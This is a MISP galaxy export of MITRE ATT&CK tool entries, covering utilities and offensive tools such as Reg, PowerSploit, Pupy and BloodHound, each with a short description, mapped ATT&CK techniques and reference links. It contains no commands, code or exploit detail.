[Reg](https://attack.mitre.org/software/S0075) is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)

Utilities such as [Reg](https://attack.mitre.org/software/S0075) are known to be used by persistent threats. (Citation: Windows Commands JPCERT)

The tag is: *misp-galaxy:mitre-tool="Reg - S0075"*

Reg - S0075 is also known as:

- Reg
- reg.exe

View relationships graph

Reg - S0075 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 5750. Table References

Links
https://attack.mitre.org/software/S0075
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/cc732643.aspx

Tasklist - S0057

The [Tasklist](https://attack.mitre.org/software/S0057) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)

The tag is: *misp-galaxy:mitre-tool="Tasklist - S0057"*

View relationships graph

Tasklist - S0057 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

Table 5751. Table References

Links
https://attack.mitre.org/software/S0057
https://technet.microsoft.com/en-us/library/bb491010.aspx

NBTscan - S0590

[NBTscan](https://attack.mitre.org/software/S0590) is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)(Citation: Symantec Waterbug Jun 2019)(Citation: FireEye APT39 Jan 2019)

The tag is: *misp-galaxy:mitre-tool="NBTscan - S0590"*

NBTscan - S0590 is also known as:

- NBTscan

View relationships graph

NBTscan - S0590 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 5752. Table References

Links
https://attack.mitre.org/software/S0590
https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html
https://sectools.org/tool/nbtscan/
https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html
https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments

ftp - S0095

[ftp](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.(Citation: Microsoft FTP)(Citation: Linux FTP)

The tag is: *misp-galaxy:mitre-tool="ftp - S0095"*

ftp - S0095 is also known as:

- ftp
- ftp.exe

View relationships graph

ftp - S0095 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5753. Table References

Links
https://attack.mitre.org/software/S0095
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp
https://linux.die.net/man/1/ftp

Systeminfo - S0096

[Systeminfo](https://attack.mitre.org/software/S0096) is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)

The tag is: *misp-galaxy:mitre-tool="Systeminfo - S0096"*

View relationships graph

Systeminfo - S0096 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 5754. Table References

Links
https://attack.mitre.org/software/S0096
https://technet.microsoft.com/en-us/library/bb491007.aspx

Ping - S0097

[Ping](https://attack.mitre.org/software/S0097) is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)

The tag is: *misp-galaxy:mitre-tool="Ping - S0097"*

View relationships graph

Ping - S0097 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 5755. Table References

Links
https://attack.mitre.org/software/S0097
https://technet.microsoft.com/en-us/library/bb490968.aspx

Arp - S0099

[Arp](https://attack.mitre.org/software/S0099) displays and modifies information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)

The tag is: *misp-galaxy:mitre-tool="Arp - S0099"*

Arp - S0099 is also known as:

- Arp
- arp.exe

View relationships graph

Arp - S0099 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 5756. Table References

Links

https://attack.mitre.org/software/S0099
https://technet.microsoft.com/en-us/library/bb490864.aspx

schtasks - S0111

[schtasks](https://attack.mitre.org/software/S0111) is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)

The tag is: *misp-galaxy:mitre-tool="schtasks - S0111"*

schtasks - S0111 is also known as:

- schtasks
- schtasks.exe

View relationships graph

schtasks - S0111 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 5757. Table References

Links
https://attack.mitre.org/software/S0111
https://technet.microsoft.com/en-us/library/bb490996.aspx

Lslsass - S0121

[Lslsass](https://attack.mitre.org/software/S0121) is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-tool="Lslsass - S0121"*

Lslsass - S0121 is also known as:

- Lslsass

View relationships graph

Lslsass - S0121 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 5758. Table References

Links

https://attack.mitre.org/software/S0121
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

UACMe - S0116

[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)

The tag is: *misp-galaxy:mitre-tool="UACMe - S0116"*

View relationships graph

UACMe - S0116 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="UACMe" with estimative-language:likelihood-probability="likely"

Table 5759. Table References

Links
https://attack.mitre.org/software/S0116
https://github.com/hfiref0x/UACME

Cachedump - S0119

[Cachedump](https://attack.mitre.org/software/S0119) is a publicly-available tool that program extracts cached password hashes from a system's registry. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-tool="Cachedump - S0119"*

Cachedump - S0119 is also known as:

- Cachedump

View relationships graph

Cachedump - S0119 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

Table 5760. Table References

Links
https://attack.mitre.org/software/S0119

https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Winexe - S0191

[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)

The tag is: *misp-galaxy:mitre-tool="Winexe - S0191"*

View relationships graph

Winexe - S0191 has relationships with:

- similar: misp-galaxy:tool="Winexe" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5761. Table References

Links
https://attack.mitre.org/software/S0191
https://github.com/skalkoto/winexe/
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/

xCmd - S0123

[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)

The tag is: *misp-galaxy:mitre-tool="xCmd - S0123"*

View relationships graph

xCmd - S0123 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5762. Table References

Links
https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/

https://attack.mitre.org/software/S0123

BloodHound - S0521

[BloodHound](https://attack.mitre.org/software/S0521) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)

The tag is: *misp-galaxy:mitre-tool="BloodHound - S0521"*

BloodHound - S0521 is also known as:

- BloodHound

View relationships graph

BloodHound - S0521 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 5763. Table References

Links
https://attack.mitre.org/software/S0521
https://github.com/BloodHoundAD/BloodHound
https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/
https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf

Pupy - S0192

[Pupy](https://attack.mitre.org/software/S0192) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) [Pupy](https://attack.mitre.org/software/S0192) is publicly available on GitHub. (Citation: GitHub Pupy)

The tag is: *misp-galaxy:mitre-tool="Pupy - S0192"*

Pupy - S0192 is also known as:

- Pupy

View relationships graph

Pupy - S0192 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="Pupy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5764. Table References

Links
https://attack.mitre.org/software/S0192
https://github.com/n1nj4sec/pupy

MailSniper - S0413

MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.(Citation: GitHub MailSniper)

The tag is: *misp-galaxy:mitre-tool="MailSniper - S0413"*

MailSniper - S0413 is also known as:

- MailSniper

View relationships graph

MailSniper - S0413 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

Table 5765. Table References

Links
https://attack.mitre.org/software/S0413
https://github.com/dafthack/MailSniper

Expand - S0361

[Expand](https://attack.mitre.org/software/S0361) is a Windows utility used to expand one or more compressed CAB files.(Citation: Microsoft Expand Utility) It has been used by [BBSRAT](https://attack.mitre.org/software/S0127) to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)

The tag is: *misp-galaxy:mitre-tool="Expand - S0361"*

Expand - S0361 is also known as:

- Expand

View relationships graph

Expand - S0361 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 5766. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/
https://attack.mitre.org/software/S0361
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand

Tor - S0183

[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)

The tag is: *misp-galaxy:mitre-tool="Tor - S0183"*

Tor - S0183 is also known as:

- Tor

View relationships graph

Tor - S0183 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

Table 5767. Table References

Links
http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf
https://attack.mitre.org/software/S0183

Forfiles - S0193

[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)

The tag is: *misp-galaxy:mitre-tool="Forfiles - S0193"*

View relationships graph

Forfiles - S0193 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 5768. Table References

Links
https://attack.mitre.org/software/S0193
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)

Out1 - S0594

[Out1](https://attack.mitre.org/software/S0594) is a remote access tool written in python and used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021.(Citation: Trend Micro Muddy Water March 2021)

The tag is: *misp-galaxy:mitre-tool="Out1 - S0594"*

Out1 - S0594 is also known as:

* Out1

View relationships graph

Out1 - S0594 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5769. Table References

Links
https://attack.mitre.org/software/S0594
https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html

Responder - S0174

Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)

The tag is: *misp-galaxy:mitre-tool="Responder - S0174"*

View relationships graph

Responder - S0174 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 5770. Table References

Links
https://attack.mitre.org/software/S0174
https://github.com/SpiderLabs/Responder

PowerSploit - S0194

[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)

The tag is: *misp-galaxy:mitre-tool="PowerSploit - S0194"*

PowerSploit - S0194 is also known as:

- PowerSploit

View relationships graph

PowerSploit - S0194 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1547.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Path Interception by Unquoted Path - T1574.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5771. Table References

Links
http://powersploit.readthedocs.io
http://www.powershellmagazine.com/2014/07/08/powersploit/
https://attack.mitre.org/software/S0194
https://github.com/PowerShellMafia/PowerSploit

meek - S0175

[meek](https://attack.mitre.org/software/S0175) is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.

The tag is: *misp-galaxy:mitre-tool="meek - S0175"*

meek - S0175 is also known as:

- meek

View relationships graph

meek - S0175 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"

Table 5772. Table References

Links
https://attack.mitre.org/software/S0175

IronNetInjector - S0581

[IronNetInjector](https://attack.mitre.org/software/S0581) is a [Turla](https://attack.mitre.org/

groups/G0010) toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including [ComRAT](https://attack.mitre.org/software/S0126).(Citation: Unit 42 IronNetInjector February 2021)

The tag is: *misp-galaxy:mitre-tool="IronNetInjector - S0581"*

IronNetInjector - S0581 is also known as:

- IronNetInjector

View relationships graph

IronNetInjector - S0581 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5773. Table References

Links
https://attack.mitre.org/software/S0581
https://unit42.paloaltonetworks.com/ironnetinjector/

ConnectWise - S0591

[ConnectWise](https://attack.mitre.org/software/S0591) is a legitimate remote administration tool that has been used since at least 2016 by threat actors including [MuddyWater](https://attack.mitre.org/groups/G0069) and [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) to connect to and conduct lateral movement in target environments.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)

The tag is: *misp-galaxy:mitre-tool="ConnectWise - S0591"*

ConnectWise - S0591 is also known as:

- ConnectWise
- ScreenConnect

View relationships graph

ConnectWise - S0591 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 5774. Table References

Links
https://attack.mitre.org/software/S0591
